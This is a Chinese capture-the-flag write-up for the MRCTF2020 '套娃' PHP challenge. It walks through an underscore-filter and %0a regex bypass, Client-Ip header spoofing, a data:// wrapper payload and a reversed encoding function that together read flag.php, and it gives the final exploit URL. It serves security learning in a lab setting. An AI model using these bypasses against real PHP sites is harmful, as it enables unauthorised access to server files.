[MRCTF2020]套娃

news/2025/4/1 3:47:50/

一。

按F12看源代码

发现代码

读代码发现

1.我们传的参数中不能存在_%5f,可以通过使用空格来代替_,还是能够上传成功。

2.正则表达式"/^23333/ " ,开头结尾都被 " " 和 " /",开头结尾都被"^"和"/",开头结尾都被" 
"和""固定,不能匹配如"23333a"等内容,可以使用“%0a”(换行符)绕过

上传

二。

转到secrettw.php

发现什么都没有还看源代码

将这些复制放入控制台

要求POST一个 Merak(传任何数都可以)

三。

先看代码

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';if(isset($_POST['Merak'])){ highlight_file(__FILE__); die(); 
} function change($v){ //可以通过反写将flag.php传入$v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();//可以修改报文来绕过
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){//这里这个传值可以用data伪协议将一句话传进去
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?> 

得到信息

1.ip不对,需要127.0.0.1。抓包

数据包传递ip我知道有两种。

X-Forwarded-For:127.0.0.1

Client-Ip:127.0.0.1

都试一下,第二个正确

2.get参数2333传来的值,使用文件流打开后内容为todat is a happy day

3.file_get_contents用php伪协议绕过

解释:

让 file_get_contents($_GET['2333']) 返回字符串 todat is a happy day。此时有两种常见思路:

  1. 直接读取本地文件
    例如传递 ?2333=/path/to/file.txt,但需要提前知道服务器上存在一个包含目标字符串的文件,这在CTF中通常不可行。

  2. 利用伪协议动态构造数据
    data:// 协议允许直接在URL中内联数据,无需依赖外部文件或网络请求。这是最直接且可控的方式。

?2333=data:text/plain,todat%20is%20a%20happy%20day

4.反写change加密函数

我是直接交给AI得到 fj]a&f\b

 也可以用PHP代码写

<?php
$v="flag.php";
$re='';
for($i=0;$i<strlen($v);$i++)
{
    $re.=chr(ord($v[$i])-$i*2);
}
$v1=base64_encode($re);
echo $v1;
?>

Base64编码:ZmpdYSZmXGI=

所以最后为?2333=data://text/plain,todat is a happy day &file=ZmpdYSZmXGI=


http://www.ppmy.cn/news/1584046.html

相关文章

!!!谷歌停止开源安卓

2025年3月27日&#xff0c;谷歌宣布将停止维护Android开源项目&#xff08;AOSP&#xff09;&#xff0c;未来所有Android开发将仅在谷歌内部进行。这一决定对安卓生态系统和开发者产生了深远影响。 一、事件背景 AOSP&#xff08;Android Open Source Project&#xff09;是…

设计心得——发布订阅

一、发布/订阅 发布/订阅&#xff08;Pub/Sub&#xff09;方式&#xff0c;在互联网中应用是极其广泛的&#xff0c;可以不负责任的说&#xff0c;只要上过网就用到过这种消息通信模式。发布/订阅基于异步通信模式&#xff0c;允许消息的生产者&#xff08;Publisher&#xff…

【Qt】程序加入开机自启动

设置程序为开机自启动 一是与 Windows 系统注册表交互&#xff0c;实现开机自启动功能的设置与取消&#xff1b; setAutoStart 函数 功能&#xff1a;负责处理程序开机自启动的设置与取消操作。实现细节&#xff1a; 首先&#xff0c;创建一个 QSettings 对象&#xff0c;指…

解决 Gin Web 应用中 Air 热部署无效的问题

解决 Gin Web 应用中 Air 热部署无效的问题 在使用 Go 语言开发 Web 应用时&#xff0c;Gin 框架因其高效和简洁深受开发者喜爱。为了提升开发效率&#xff0c;我们常常借助 Air 工具实现热部署&#xff0c;让代码修改后能实时生效&#xff0c;无需手动重启服务。然而&#xf…

如何构建化工质检的体系 质检LIMS系统在化工原料生产中的应用

一、构建化工质检的全流程质量管控体系 化工原料生产具有成分复杂、检测参数多的特点&#xff0c;传统实验室管理模式难以满足多品类、高频次检测需求。质检LIMS系统通过数字化改造&#xff0c;实现"样品登记-任务分配-数据采集-报告生成"的全流程自动化。以某精细化…

自然语言处理|人工智能如何革新作文批改:技术全解析

一、引言 在当今数字化时代&#xff0c;教育科技正在快速改变学习和教学方式。从在线课程的普及到智能教学工具的应用&#xff0c;教育领域正经历深刻变革。作文自动批改技术作为一项创新应用&#xff0c;逐渐受到关注&#xff0c;为作文教学提供了新思路和方法。这一技术不仅…

豪越消防一体化安全管控平台:消防管理智能化

在社会快速发展、城市建设日益复杂的今天&#xff0c;消防安全始终是保障人民生命财产安全、维护社会稳定的重要基石。传统消防管理模式在应对当下复杂多变的消防安全需求时&#xff0c;逐渐暴露出诸多局限性&#xff0c;而豪越消防一体化平台的出现&#xff0c;为消防管理领域…

自然语言处理|金融舆情解析:智能事件抽取与风险预警之道

一、金融市场的信息需求 在金融领域&#xff0c;信息是投资决策的关键因素。金融市场受宏观经济数据、政治局势、企业业绩、市场情绪等多种因素影响&#xff0c;呈现高度的波动性和不确定性。例如&#xff0c;一家上市公司的财报发布&#xff0c;若净利润超出预期&#xff0c;…